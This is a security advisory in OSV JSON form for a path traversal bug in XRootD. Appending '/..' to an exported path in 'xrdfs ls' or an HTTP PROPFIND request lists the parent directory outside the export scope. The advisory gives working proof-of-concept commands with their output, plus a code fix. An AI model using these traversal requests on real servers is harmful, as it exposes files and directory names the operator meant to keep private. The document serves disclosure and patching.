{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "xrootd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:50:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n\u251c\u2500\u2500 alice/       \u2190 only exported directory\n\u251c\u2500\u2500 bob/         \u2190 not exported\n\u2514\u2500\u2500 secret.txt   \u2190 not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path \u0027/\u0027 is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND \u0027http://\u003cxrootd-server\u003e:1094/alice/..\u0027 \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path \u0027alice/../secret.txt\u0027 is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == \u0027.\u0027 \u0026\u0026 fn[1] == \u0027.\u0027 \u0026\u0026 fn[2] == \u0027/\u0027) return 1;\n\n// After\nif (fn[0] == \u0027.\u0027 \u0026\u0026 fn[1] == \u0027.\u0027 \u0026\u0026 (fn[2] == \u0027/\u0027 || fn[2] == \u0027\\0\u0027)) return 1;\n```",
  "id": "GHSA-vj8v-p5vw-m6v5",
  "modified": "2026-04-10T19:50:39Z",
  "published": "2026-04-10T19:50:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xrootd/xrootd"
    },
    {
      "type": "WEB",
      "url": "http://github.com/xrootd/xrootd/releases/tag/v5.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern"
}